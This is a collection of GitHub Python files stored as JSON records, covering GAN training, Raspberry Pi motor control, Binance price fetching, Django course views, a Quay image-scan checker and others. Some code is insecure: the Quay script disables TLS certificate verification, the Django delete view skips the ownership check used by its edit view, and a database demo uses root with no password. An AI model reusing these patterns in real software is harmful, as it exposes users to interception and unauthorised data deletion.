generator.variables)\n        discriminator_grad = grad_tape.gradient(discriminator_loss_val, discriminator.variables)\n        generator_optimizer.apply_gradients(zip(generator_grad, generator.variables))\n        discriminator_optimizer.apply_gradients(zip(discriminator_grad, discriminator.variables))\n\n        image_sum = False\n        if image_sum:\n            G_means = tf.reduce_mean(G, 0, keepdims=True)\n            G_vars = tf.reduce_mean(tf.square(G - G_means), 0, keepdims=True)\n            tf.contrib.summary.scalar('G_means', G_means)\n            tf.contrib.summary.scalar('G_vars', G_vars)\n            image_means = tf.reduce_mean(images, 0, keepdims=True)\n            image_vars = tf.reduce_mean(tf.square(images - image_means), 0, keepdims=True)\n            tf.contrib.summary.scalar('image_means', image_means)\n            tf.contrib.summary.scalar('image_vars', image_vars)\n\n        if log_interval and batch_index > 0 and batch_index % log_interval == 0:\n            print('Batch #%d\\tAverage Generator Loss: %.6f\\t'\n                  'Average Discriminator Loss: %.6f' %\n                  (batch_index, total_generator_loss / batch_index,\n                  total_discriminator_loss / batch_index))\n\n        if batch_index > 0 and batch_index % FLAGS.save_interval == 0:\n            save_images(G, [sqrt(FLAGS.batch_size), sqrt(FLAGS.batch_size)],\n                        FLAGS.sample_dir + '/train_epoch_%s_batch_%s.png'\n                        % (epoch, batch_index))\n","repo_name":"rajivhockey97/improved-gan-tf-eager","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"13897658393","text":"with open('disease_symptoms.txt') as f:\r\n\twith open('finding_list.txt', 'w') as outF:\r\n\t\tfindings = set()\r\n\t\tfor line in f:\r\n\t\t\tdata = line.rstrip().split(',')\r\n\t\t\tfor symptom in data:\r\n\t\t\t\tfindings.add(symptom.strip())\r\n\r\n\t\tfor finding in findings:\r\n\t\t\toutF.write(finding)\r\n\t\t\toutF.write('\\n')","repo_name":"sramas15/BioAgentProject","sub_path":"formatFindingList.py","file_name":"formatFindingList.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"8488275569","text":"#!/usr/bin/env python3\n\n__version__ = \"0.1.1\"\n__license__ = \"MIT\"\n__authors__ = \"NiceGuyIT\"\n\n\"\"\"\nThis PC online check script will alert when a PC comes online. It does this by pinging an IP or host, preferably the\nRMM server.\n\nIn Tactical RMM, a return code of 0 indicates success.\n  - If the ping is successful, a return code of 1 used to indicate failure so an alert can be sent.\n  - If the ping is not successful, a return code of 0 is used to indicate success and no alert is sent.\n\nCommand line arguments:\n  There are no command line arguments. All parameters are passed using environmental variables.\n\nEnvironmental variables:\n  - PING_HOSTNAME: Hostname or IP to ping. Default: localhost\n    The hostname or IP to ping. If not set, \"localhost\" is used.\n\n  - PING_TIMEOUT: Timeout, in seconds. Default: 5\n    The timeout in seconds for the ping arguments. The ping command has various timeouts in various arguments on\n    different systems. PING_TIMEOUT is used for those arguments. An additional timeout of PING_TIMEOUT + 1 is used\n    for Python to time out the exec. The idea is that the ping timeout arguments will cause the exec to return before\n    Pythong kills the program.\n\n  - PING_STACKTRACE: Include the stack trace on error?\n    If true, the stacktrace is included in the output on failure. This may or may not be useful.\n    Note: In true Python sense, the value needs to be PascalCase: True\n\nPossible enhancements:\n  Use ping3[1] or tcping[2] which do not require exec'ing an external program. The down side is they require\n  installing another module.\n\n[1]: https://pypi.org/project/ping3/\n[2]: https://pypi.org/project/tcping/\n\"\"\"\n\nimport os\nimport platform\nimport subprocess\nimport traceback\nimport sys\n\n\ndef ping(host, timeout, stacktrace):\n    \"\"\"\n    ping a host with a timeout and return the result and output. If the \"ping\" command generates an error,\n    the output will include the stacktrace if \"stacktrace\" is True.\n\n    The timeout is the number of seconds for the ping command options, and number of seconds + 1 for Python to\n    time out the ping command. A timeout of 1 or 2 seconds is suggested.\n\n    Remember that a host may not respond to a ping (ICMP) request even if the host name is valid.\n\n    :param host: Hostname to ping\n    :param timeout: Timeout for the ping command.\n    :param stacktrace: If True, include the stacktrace if an error is encountered.\n    :return:\n        - success: True if the ping was successful. I.e. if the ping program exited successfully. False otherwise.\n        - output: Output of the ping program, including the optional stacktrace.\n    \"\"\"\n\n    if host == \"\":\n        output = \"Error: Hostname is empty\"\n        print(output)\n        return False, output\n\n    # Number of packets to send.\n    count = 1\n\n    # Option for the number of packets as a function of\n    if platform.system().lower() == 'windows':\n        # Windows\n        # -w timeout\n        #    Timeout in milliseconds to wait for each reply.\n        param = ['-w', f\"{timeout * 1000}\", '-n', f\"{count}\"]\n    elif platform.system().lower() == 'darwin':\n        # macOS\n        # -W waittime\n        #    Time in milliseconds to wait for a reply for each packet sent.\n        # -i wait\n        #    Wait \"wait\" seconds between sending each packet.\n        param = ['-W', f\"{timeout * 1000}\", '-i', f\"{timeout}\", '-c', f\"{count}\"]\n    else:\n        # Linux/macOS\n        # -w deadline\n        #    Specify a timeout, in seconds, before ping exits regardless of how many packets have been sent or received.\n        # -W timeout\n        #    Time to wait for a response, in seconds.\n        # -i interval\n        #    Wait interval seconds between sending each packet.\n        param = ['-w', f\"{timeout}\", '-W', f\"{timeout}\", '-i', f\"{timeout}\", '-c', f\"{count}\"]\n\n    command = ['ping', *param, host]\n    try:\n\n        output = subprocess.check_output(\n            command,\n            # Add 1 second to allow ping to respond.\n            timeout=int(timeout)+1,\n            universal_newlines=True,\n        )\n        success = True\n    except subprocess.CalledProcessError as err:\n        if stacktrace:\n            output = f\"\"\"Failed to execute ping.\ncommand: {' '.join(command)}\n{traceback.format_exc()}\n{err}\n\"\"\"\n        else:\n            output = f\"\"\"Failed to execute ping.\n{err}\n\"\"\"\n        success = False\n    except subprocess.TimeoutExpired as err:\n        if stacktrace:\n            output = f\"\"\"Ping command timed out after '{timeout + 1}' seconds.\ncommand: {' '.join(command)}\n{traceback.format_exc()}\n{err}\n\"\"\"\n        else:\n            output = f\"\"\"Ping command timed out after '{timeout + 1}' seconds.\ncommand: {' '.join(command)}\n{err}\n\"\"\"\n        success = False\n\n    return success, output\n\n\ndef main():\n    default_hostname = 'localhost'\n    default_timeout = '5'\n\n    ping_hostname = os.environ.get('PING_HOSTNAME')\n    ping_timeout = os.environ.get('PING_TIMEOUT')\n    ping_stacktrace = os.environ.get('PING_STACKTRACE', False)\n\n    if ping_hostname is None:\n        ping_hostname = default_hostname\n        print(f\"PING_HOSTNAME was not provided. Using '{default_hostname}'\")\n    if ping_timeout is None:\n        ping_timeout = default_timeout\n        print(f\"PING_TIMEOUT was not provided. Using '{default_timeout}'\")\n\n    if not ping_timeout.isdigit():\n        print(f\"PING_TIMEOUT is not an integer: '{ping_timeout}'\")\n        return 2\n    ping_timeout = int(ping_timeout)\n\n    success, output = ping(**{\n        \"host\": ping_hostname,\n        \"timeout\": ping_timeout,\n        \"stacktrace\": ping_stacktrace,\n    })\n\n    # In Tactical terms, a successful ping means the agent is online. The exit code is used to trigger an alert.\n    if success:\n        print(\"Success!\")\n        print(output)\n        # Exit with failure; send alert\n        return 1\n    else:\n        print(output)\n        # Exit with success; do not send alert\n        return 0\n\n\nif __name__ == '__main__':\n    sys.exit(main())\n","repo_name":"amidaware/community-scripts","sub_path":"scripts/all_network_online_check.py","file_name":"all_network_online_check.py","file_ext":"py","file_size_in_byte":5962,"program_lang":"python","lang":"en","doc_type":"code","stars":83,"dataset":"github-code","pt":"77"}
+{"seq_id":"32751591314","text":"import pymysql.cursors\nimport pymysql\nfrom contextlib import contextmanager\n\n# CRUD com python e pymysql\n\n@contextmanager\ndef conecta():\n    conexao = pymysql.Connect(\n        host='127.0.0.1',\n        user='root',\n        password='',\n        charset='utf8mb4',\n        db='clientes',\n        cursorclass=pymysql.cursors.DictCursor\n    )\n    try:\n        yield conexao\n    finally:\n        print('Conexão fechada')\n        conexao.close()\n\n# Insere registro na base de dados\n# with conecta() as conexao:\n#     with conexao.cursor() as cursor:\n#         sql = 'INSERT INTO clientes (nome, sobrenome, idade, peso) VALUES (%s, %s, %s, %s)'\n#         cursor.execute(sql, ('João', 'Sena', 24, 69))\n#         conexao.commit()\n\n\n# inserindo vários clientes\n# with conecta() as conexao:\n#     with conexao.cursor() as cursor:\n#         sql = 'INSERT INTO clientes (nome, sobrenome, idade, peso) VALUES (%s, %s, %s, %s)'\n#         dados = [\n#             ('Nikola', 'tesla', '29', '70'),\n#             ('Isaac', 'Newton', '24', '69'),\n#             ('Albert', 'Eisntein', '33', '80')\n#         ]\n#         # varios valores\n#         cursor.executemany(sql, dados)\n#         conexao.commit()\n\n# deletando um cliente\n# with conecta() as conexao:\n#     with conexao.cursor() as cursor:\n#         sql = 'DELETE FROM clientes WHERE id = %s'\n#         cursor.execute(sql, (6,))\n#         conexao.commit()\n\n# # deletando vários clientes\n# with conecta() as conexao:\n#     with conexao.cursor() as cursor:\n#         sql = 'DELETE FROM clientes WHERE id IN (%s, %s, %s)'\n#         cursor.execute(sql, (7, 8, 9))\n#         conexao.commit()\n\n# deletando varios valores /2\n# with conecta() as conexao:\n#     with conexao.cursor() as cursor:\n#         sql = 'DELETE FROM clientes WHERE id BETWEEN %s AND %s'\n#         cursor.execute(sql, (10, 12))\n#         conexao.commit()\n\n# Atualizando alguns valores\n# with conecta() as conexao:\n#     with conexao.cursor() as cursor:\n#         sql = 'UPDATE clientes SET sobrenome=%s WHERE id=%s'\n#         cursor.execute(sql, ('Roza', 3))\n#         conexao.commit()\n\n# fechando a conexao\nwith conecta() as conexao:\n    # fechando o cursor\n    with conexao.cursor() as cursor:\n        cursor.execute('SELECT * FROM clientes ORDER BY ID ASC LIMIT 100 ')\n        resultado = cursor.fetchall()\n\n        for linha in resultado:\n            print(linha)\n","repo_name":"Vicrrs/CRUD_pymysql","sub_path":"Crud.py","file_name":"Crud.py","file_ext":"py","file_size_in_byte":2371,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"75175743927","text":"#!/usr/bin/env python\n#TESTPI\nimport pigpio\n\nclass decoder:\n\n   def __init__(self, pi, gpioA, gpioB, callback):\n\n      self.pi = pi\n      self.gpioA = gpioA\n      self.gpioB = gpioB\n      self.callback = callback\n\n      self.levA = 0\n      self.levB = 0\n\n      self.lastGpio = None\n\n      self.pi.set_mode(gpioA, pigpio.INPUT)\n      self.pi.set_mode(gpioB, pigpio.INPUT)\n\n      self.pi.set_pull_up_down(gpioA, pigpio.PUD_UP)\n      self.pi.set_pull_up_down(gpioB, pigpio.PUD_UP)\n\n      self.cbA = self.pi.callback(gpioA, pigpio.EITHER_EDGE, self._pulse)\n      self.cbB = self.pi.callback(gpioB, pigpio.EITHER_EDGE, self._pulse)\n\n   def _pulse(self, gpio, level, tick):\n      if gpio == self.gpioA:\n         self.levA = level\n      else:\n         self.levB = level\n\n      if gpio != self.lastGpio: # debounce\n         self.lastGpio = gpio\n\n         if   gpio == self.gpioA and level == 1:\n            if self.levB == 1:\n               self.callback(1)\n         elif gpio == self.gpioB and level == 1:\n            if self.levA == 1:\n               self.callback(-1)\n\n   def cancel(self):\n      self.cbA.cancel()\n      self.cbB.cancel()\n   \n\nclass motor:\n\n   def __init__(self, pi, gpioA, gpioB, gpioE):\n\n      self.pi = pi\n      self.gpioA = gpioA\n      self.gpioB = gpioB\n      self.gpioE = gpioE\n\n      self.levA = 0\n      self.levB = 0\n\n      self.lastGpio = None\n\n      self.pi.set_mode(gpioA, pigpio.OUTPUT)\n      self.pi.set_mode(gpioB, pigpio.OUTPUT)\n      self.pi.set_mode(gpioE, pigpio.OUTPUT)\n\n      self.pi.set_PWM_frequency(gpioE, 100)\n\n   def move(self, state, pwm):\n      if state == 0:\n         self.pi.write(self.gpioA, 0)\n         self.pi.write(self.gpioB, 0)\n         self.pi.set_PWM_dutycycle(self.gpioE, 0)\n      elif state == 1:\n         self.pi.write(self.gpioA, 1)\n         self.pi.write(self.gpioB, 0)\n         self.pi.set_PWM_dutycycle(self.gpioE, pwm)\n      elif state == 2:\n         self.pi.write(self.gpioA, 0)\n         self.pi.write(self.gpioB, 1)\n         self.pi.set_PWM_dutycycle(self.gpioE, pwm)\n\n   def cancel(self):\n\n      self.pi.write(self.gpioA, 0)\n      self.pi.write(self.gpioB, 0)\n      self.pi.set_PWM_dutycycle(self.gpioE, 0)\n\n\nif __name__ == \"__main__\":\n\n   import time\n   import pigpio\n   import PID\n   import contactless\n   import json\n\n   threesixty = 28300\n\n   motor1 = [27, 4, 23]\n   motor2 = [22, 17, 24]\n   enable = [12, 16,  25]\n   \n   encoder1 = [6, 19, 20]\n   encoder2 = [13, 26, 21]\n\n   sign = [1,1,1]\n   error = [0,0,0]\n   pos = [0,0,0]\n\n   with open('/home/pi/Contactless/public/cmy.json') as jsonFile:\n      data = json.load(jsonFile)\n      pos[0] = data['c']\n      pos[1] = data['m']\n      pos[2] = data['y']\n\n   thres = 100\n   speed = [0, 0, 0]\n   TARGET = [pos[0], pos[1], pos[2]]\n   KP = 0.0006\n   KD = 0.00021\n   KI = 0.0001\n   pid = [0,0,0]\n\n   for i in range (3):\n      pid[i] = PID.PID(KP, KI, KD)\n      pid[i].SetPoint = TARGET[i]*1000\n      pid[i].setSampleTime(0.05)\n\n   def callbackC(way):\n      global pos\n      pos[0] += way\n      #print(\"posC={} \".format(pos[0]), speed[0], TARGET[0])\n\n   def callbackM(way):\n      global pos\n      pos[1] += way\n      #print(\"posM={} \".format(pos[1]), speed[1], TARGET[1])\n\n   def callbackY(way):\n      global pos\n      pos[2] += way\n      #print(\"posY={} \".format(pos[2]), speed[2], TARGET[2])\n\n   pi = pigpio.pi()\n\n   motorC = contactless.motor(pi, motor1[0], motor2[0], enable[0])\n   decoderC = contactless.decoder(pi, encoder1[0], encoder2[0], callbackC)\n\n   motorM = contactless.motor(pi, motor1[1], motor2[1], enable[1])\n   decoderM = contactless.decoder(pi, encoder1[1], encoder2[1], callbackM)\n\n   motorY = contactless.motor(pi, motor1[2], motor2[2], enable[2])\n   decoderY = contactless.decoder(pi, encoder1[2], encoder2[2], callbackY)\n\n   try:\n      while True:\n         try:\n            with open('/home/pi/Contactless/public/cmy.json') as jsonFile:\n               data = json.load(jsonFile)\n               TARGET[0] = data['c']\n               TARGET[1] = - data['m']\n               TARGET[2] = data['y']\n         except: \n            print(\"420\")\n         print (\"C:\", TARGET[0], error[0], speed[0], \"M:\", TARGET[1], error[1], speed[1], \"Y:\", TARGET[2], error[2], speed[2])\n         \n         time.sleep(0.1)\n\n         pid[0].SetPoint = TARGET[0]\n         speed[0] = pid[0].update(pos[0])\n         speed[0] = max(min(255, abs(speed[0])), 50)\n         error[0] = TARGET[0] - pos[0]\n         if error[0] > thres:\n            #print (\"e\")\n            motorC.move(1, speed[0])\n         elif error[0] < -thres:\n            #print(\"a\")\n            motorC.move(2, speed[0])\n         else:\n            motorC.move(0,0)\n            speed[0] = 0\n\n         pid[1].SetPoint = TARGET[1]\n         speed[1] = pid[1].update(pos[1])\n         speed[1] = max(min(255, abs(speed[1])), 50)\n         error[1] = TARGET[1] - pos[1]\n         if error[1] > thres:\n            #print (\"e\")\n            motorM.move(1, speed[1])\n         elif error[1] < -thres:\n            #print(\"a\")\n            motorM.move(2, speed[1])\n         else:\n            motorM.move(0,0)\n            speed[1] = 0\n         \n         pid[2].SetPoint = TARGET[2]\n         speed[2] = pid[2].update(pos[2])\n         speed[2] = max(min(255, abs(speed[2])), 50)\n         error[2] = TARGET[2] - pos[2]\n         if error[2] > thres:\n            #print (\"e\")\n            motorY.move(2, speed[2])\n         elif error[2] < -thres:\n            #print(\"a\")\n            motorY.move(1, speed[2])\n         else:\n            motorY.move(0,0)\n            speed[2] = 0\n\n         \n   except KeyboardInterrupt:\n      decoderC.cancel()\n      motorC.cancel()\n      decoderM.cancel()\n      motorM.cancel()\n      decoderY.cancel()\n      motorY.cancel()\n      pi.stop()\n\n","repo_name":"AlejoHarris/ContactlessRPi","sub_path":"contactless.py","file_name":"contactless.py","file_ext":"py","file_size_in_byte":5710,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"14067445737","text":"import json\nimport config\nimport socket\nimport requests\nfrom binance.client import Client\n\n#reads the data in temp_data.json and stores it in variables\ndef get_temp_data():\n    temp_file = open(\"datafiles/temp_data.json\")\n    temp_file_data = json.load(temp_file)\n    return temp_file_data\n\n#Gets the historical closes of the ticker\ndef get_closes(ticker):\n    try:\n        closes = []    \n        candle_sticks = config.binance_client.get_historical_klines(ticker, Client.KLINE_INTERVAL_1MINUTE, config.DATA_POINT_PERIOD)\n        for candle in candle_sticks:\n            closes.append(float(candle[4]))\n        return closes\n    except socket.timeout:\n        print(\"[x] \"+ticker+\" socket timed out\")\n        print(\"[x] Terminating trading with \"+ticker)\n        exit()\n    except requests.exceptions.Timeout:\n        print(\"[x] \"+ticker+\" socket timed out\")\n        print(\"[x] Terminating trading with \"+ticker)\n        exit()\n    except requests.exceptions.ConnectionError:\n        print(\"[x] \"+ticker+\" socket timed out\")\n        print(\"[x] Terminating trading with \"+ticker)\n        exit()\n\n#gets last few closes of ticker\ndef get_last_closes(ticker_string, ticker_closes):\n    klines = config.binance_client.get_historical_klines(ticker_string, Client.KLINE_INTERVAL_1MINUTE, \"6 minute ago UTC\")\n    i = -1\n    while ticker_closes[i]!=float(klines[0][4]):\n        i = i -1\n    ticker_closes = ticker_closes[:i]\n    for candle in klines:\n        ticker_closes.append(float(candle[4]))\n    return ticker_closes\n\n#gets current balance of any asset\ndef get_asset_balance(ticker):\n    return float(config.binance_client.get_asset_balance(ticker)[\"free\"])","repo_name":"archangel78/Archbot","sub_path":"get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"71970120570","text":"from django.shortcuts import render, redirect, get_object_or_404\n\n\nfrom .models import Subject, Course\n\nfrom .forms import addCourseForm\n\nfrom django.contrib.auth.decorators import login_required\n\nfrom django.db.models import Sum,Q\nfrom django.http import Http404\n\n\n\n\n# Create your views here.\n\n# Returns Home Page\ndef index(request):\n    return render(request, 'msgrad_app/index.html')\n\n@login_required\ndef dashboard(request):\n    \"\"\"Shows list of subjects on dashboard page\"\"\"\n    subjects = Subject.objects.all().order_by('id').annotate(studentCredits=Sum('course__credit_amount', \n        filter=Q(course__student_id=request.user)))\n    \n    courses = Course.objects.filter(student=request.user)\n    totalCredits = 0 \n    requiredCredits = 0 \n\n    for subject in subjects:\n        requiredCredits += subject.credit_amount\n\n    for course in courses:\n        totalCredits += course.credit_amount\n \n    missingCredits = requiredCredits - totalCredits\n    data = [totalCredits, missingCredits]\n    labels = ['Your Credits', 'Missing Credits']\n    \n    context = {'subjects': subjects,\n                'courses': courses,\n                'totalCredits': totalCredits,\n                'requiredCredits': requiredCredits,\n                'labels': labels,\n                'data': data\n               }\n    return render(request, 'msgrad_app/dashboard.html', context)\n\n\n@login_required\ndef subject(request, subject_id):\n    \"\"\"Shows list of courses on subject page\"\"\"\n    subject = Subject.objects.get(id=subject_id)\n    courses = subject.course_set.filter(student=request.user).order_by('-id')\n    totalCredits = courses.aggregate(total=Sum('credit_amount'))\n    context = {'subject': subject,\n               'courses': courses,\n               'totalCredits': totalCredits,\n            }\n    return render(request, 'msgrad_app/subject.html', context)\n\n\n@login_required\ndef add_course(request, subject_id):\n    subject = Subject.objects.get(id=subject_id)\n\n    if request.method != 'POST':\n        form = addCourseForm()\n    else:\n        form = addCourseForm(data=request.POST)\n\n        if form.is_valid():\n            add_course = form.save(commit=False)\n            add_course.subject = subject\n            add_course.owner = request.user\n            add_course.student_id = request.user.id\n            add_course.save()\n            return redirect('msgrad_app:subject', subject_id=subject_id)\n    \n    context = {'subject': subject,\n               'form': form,\n            }\n    return render(request, 'msgrad_app/add_course.html', context)\n\n\n@login_required\ndef edit_course(request, course_id):\n    course = Course.objects.get(id=course_id)\n    subject = course.subject\n    if course.student != request.user: \n        raise Http404\n\n    if request.method != 'POST':\n        form = addCourseForm(instance=course)\n    else:\n        form = addCourseForm(instance=course, data=request.POST)\n\n        if form.is_valid():\n            form.save()\n            return redirect('msgrad_app:subject', subject_id=subject.id)\n    \n    context = {'subject': subject,\n               'form': form,\n               'course': course\n            }\n    return render(request, 'msgrad_app/edit_course.html', context)\n\n\n@login_required\ndef delete_course(request, course_id):\n    course = get_object_or_404(Course, id=course_id)\n    subject = course.subject\n    context = {'course': course, 'subject': subject}\n\n    if request.method != 'POST':\n        return render(request, 'msgrad_app/delete_course.html', context)\n    \n    else:\n        course.delete()\n        return redirect('msgrad_app:subject', subject_id=subject.id)\n\n    \n","repo_name":"mpage882/gradtracker","sub_path":"ms_gradtracker/msgrad_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"27436180909","text":"# ************************************************\n# username  :   smmehrab\n# fullname  :   s.m.mehrabul islam\n# email     :   smmehrabul-2017614964@cs.du.ac.bd\n# institute :   university of dhaka, bangladesh\n# reg       :   2017614964\n# ************************************************\n\nclass Solution(object):\n    def maxCoins(self, piles):\n        \"\"\"\n        :type piles: List[int]\n        :rtype: int\n        \"\"\"\n        \n        piles.sort()\n        \n        n = len(piles)\n        i = n-1\n        low = (n//3)-1\n        alt = 0\n        coins = 0\n        \n        while i>low:\n            if alt == 1:\n                coins += piles[i]\n            alt = 1-alt\n            i -= 1\n            \n        return coins\n","repo_name":"smmehrab/problem-solving","sub_path":"codes/leetcode/MaximumNumberofCoinsYouCanGet.py","file_name":"MaximumNumberofCoinsYouCanGet.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"86333383442","text":"#\n# Check image scan status from Quay registry\n# \n# Input: image and token\n# Output: image scan status\n#\nimport base64\nimport http.client\nimport ssl\nimport json\nimport time\nimport sys\nimport re\nimport logging\nimport argparse\n\nlog = logging.getLogger('imagescan')\nhandler = logging.StreamHandler(sys.stdout)\nhandler.setFormatter(logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s'))\nlog.addHandler(handler)\nlog.setLevel(logging.INFO)\n\ndef getManifestDigest(host, port, token, namespace, imageName, imageTag):\n    url = \"/api/v1/repository/{0}/{1}/tag/?limit=100&page=1&onlyActiveTags=true\".format(namespace, imageName)\n    headers = {}\n    if token:\n        headers = {\"Authorization\": \"Bearer {0}\".format(token)}\n    max_tries = 2\n    json_data = None\n    manifest_digest = None\n    conn = None\n\n    for _ in range(max_tries):\n        try:\n            conn = http.client.HTTPSConnection(host, port, context=ssl._create_unverified_context())\n            conn.request(\"GET\", url, headers=headers)\n\n            response = conn.getresponse()\n            if response.status == 200:\n                data = response.read().decode('utf-8')\n                conn.close()\n                json_data = json.loads(data)\n                break\n            else:\n                log.warning(\"getManifestDigest:  {0}\".format(response.status))\n                conn.close()\n                time.sleep(3)\n                continue\n        except Exception as e:\n            log.warning(\"Exception: {0}\".format(e))\n            if conn != None:\n                conn.close()\n                time.sleep(3)\n                continue\n\n    if json_data and \"tags\" in json_data:\n        for tag in json_data[\"tags\"]:\n            if tag[\"name\"] == imageTag:\n                manifest_digest = tag[\"manifest_digest\"]\n                break\n\n    return manifest_digest\n\n\ndef getVulnerabilitiesReport(host, port, token, namespace, imageName, manifestDigest):\n    #log.info(\"getVulnerabilitiesReport\")\n    url = \"/api/v1/repository/{0}/{1}/manifest/{2}/security?vulnerabilities=true\".format(namespace, imageName, manifestDigest)\n    headers = {}\n    if token:\n        headers = {\"Authorization\": \"Bearer {0}\".format(token)}\n    max_tries = 2\n    json_data = None\n    conn = None\n    for _ in range(max_tries):\n        try:\n            conn = http.client.HTTPSConnection(host, port, context=ssl._create_unverified_context())\n            conn.request(\"GET\", url, headers=headers)\n\n            response = conn.getresponse()\n            if response.status == 200:\n                data = response.read().decode('utf-8')\n                conn.close()\n                json_data = json.loads(data)\n                break\n            elif response.status == 404:\n                log.warning(\"'{0}' image scan result not found!\".format(imageName))\n                conn.close()\n                break            \n            else:\n                log.warning(\"getVulnerabilitiesReport:  {0}\".format(response.status))\n                conn.close()\n                time.sleep(3)\n                continue\n        except Exception as e:\n            log.warning(\"Exception: {0}\".format(e))\n            if conn != None:\n                conn.close()\n                time.sleep(3)\n                continue\n\n    return json_data\n\n\ndef getScanReport(host, port, token, namespace, imageName, imageTag):\n    global MANIFEST_DIGEST\n    scan_report = {'status': 'pending', 'result': ''}\n    if not MANIFEST_DIGEST:\n        MANIFEST_DIGEST = getManifestDigest(host, port, token, namespace, imageName, imageTag)\n    scan_result = getVulnerabilitiesReport(host, port, token, namespace, imageName, MANIFEST_DIGEST)\n    if not scan_result:\n        return {'status': 'failed', 'result': 'no imagescan report'}\n\n    score = {\"Unknown\": 0, \"Negligible\": 1, \"Low\": 2, \"Medium\": 3, \"High\": 4, \"Critical\": 5}\n\n    if \"status\" in scan_result and scan_result[\"status\"] == \"scanned\":\n        total_vulnerable_packages = 0\n        if \"data\" in scan_result and \"Layer\" in scan_result[\"data\"] and \"Features\" in scan_result[\"data\"][\"Layer\"]:\n            vulnerabilities = []\n            for package in scan_result[\"data\"][\"Layer\"][\"Features\"]:\n                fix_version = None\n                severity = \"Unknown\"\n                cve = []\n                if \"Vulnerabilities\" in package:\n                    for vul in package[\"Vulnerabilities\"]:\n                        cve.append(\"{0}: {1}\".format(vul[\"Name\"], vul[\"Link\"]))\n                        if \"FixedBy\" in vul:\n                            if not fix_version or vul[\"FixedBy\"] > fix_version:\n                                fix_version = vul[\"FixedBy\"]\n\n                        if \"Severity\" in vul:\n                            if score[vul[\"Severity\"]] > score[severity]:\n                                severity = vul[\"Severity\"]\n\n                    if fix_version:\n                        vulnerability = {\"package_name\": package[\"Name\"],\n                                        \"current_version\": package[\"Version\"],\n                                        \"fix_version\": fix_version,\n                                        \"severity\": severity,\n                                        \"vulnerabilities\": cve\n                                        }\n                        vulnerabilities.append(vulnerability)\n                        total_vulnerable_packages += 1\n\n            if len(vulnerabilities) > 0:\n                scan_report['status'] = 'failed'\n                scan_report['result'] = vulnerabilities\n            else:\n                scan_report['status'] = 'passed'\n\n        log.info(\"Total vulnerable packages: {}\".format(total_vulnerable_packages))\n\n    return scan_report\n\n\ndef parseImage(image):\n    host = \"\"\n    namespace = \"\"\n    imageName = \"\"\n    imageTag = \"\"\n    matchObj = re.match( r'(.*)/(.*)/(.*):(.*)', image)\n    if matchObj:\n        host = matchObj.group(1)\n        namespace = matchObj.group(2)\n        imageName = matchObj.group(3)\n        imageTag = matchObj.group(4)\n\n    return (host, namespace, imageName, imageTag)\n\n\ndef main():\n    global MANIFEST_DIGEST\n    MANIFEST_DIGEST = None\n    parser = argparse.ArgumentParser(description=\"Check image scan report\")\n    parser.add_argument(\"--imagescan_token\", default=None, help=\"Quay API acess token\")\n    parser.add_argument(\"--image\", help=\"The image you want to check the result of the vulnerability scan\")\n\n    args = parser.parse_args()\n    token = args.imagescan_token\n    image = args.image\n    port = 443\n\n    if not image:\n        print(\"ERROR: you must provide image\")\n        exit(-1)\n\n    # if the token is encoded then decode it\n    if token:\n        try:\n            encoded_bytes = token.encode(\"ascii\")\n            decoded_bytes = base64.b64decode(encoded_bytes)\n            decoded = decoded_bytes.decode(\"ascii\")\n            token = decoded\n        except Exception as e:\n            log.debug(\"It is not an encoded token\")\n\n    (host, namespace, imageName, imageTag) = parseImage(image)\n    if not host:\n        print(\"ERROR: image is not in the format of xxxx/xxxx/xxxx:xxxx\")\n        exit(-1)\n    \n    print(\"\") \n    print(\"Checking image {0} scan status...\".format(image)) \n    print(\"\") \n    MAX_TIMEOUT = 30 # mins\n    maxWaitTime = MAX_TIMEOUT * 60 # in seconds\n    start = int(round(time.time()))\n    while True:\n        scan_report = getScanReport(host, port, token, namespace, imageName, imageTag)\n        now = int(round(time.time()))\n        elapsedTime = now - start\n        if scan_report:\n            log.info(\"Image scan status: {0}\".format(scan_report[\"status\"]))\n            if scan_report[\"status\"] == \"failed\":\n                print(\"\")\n                print(json.dumps(scan_report[\"result\"], indent=4, sort_keys=True))\n                print(\"\")\n                print(\"Image scan failed!\")\n                print(\"\")\n                print(\"Elapsed time: {0} seconds\".format(elapsedTime))\n                print(\"\")\n                exit(-1)\n            elif scan_report[\"status\"] == \"passed\":\n                print(\"\")\n                print(\"Image scan passed.\")\n                print(\"\")\n                print(\"Elapsed time: {0} seconds\".format(elapsedTime))\n                print(\"\")\n                exit()\n\n        if  now - start > maxWaitTime:\n           print(\"ERROR: Quay scan timeout!\")\n           exit(-1)\n        else:\n           log.info(\"sleep 10 seconds...\")\n           time.sleep(10)\n       \n\nif __name__ == '__main__':\n    main()\n","repo_name":"stolostron/multicloud-operators-placementrule","sub_path":"vbh/build-harness-extensions/modules/security-scans/scripts/imagescan.py","file_name":"imagescan.py","file_ext":"py","file_size_in_byte":8470,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"77"}
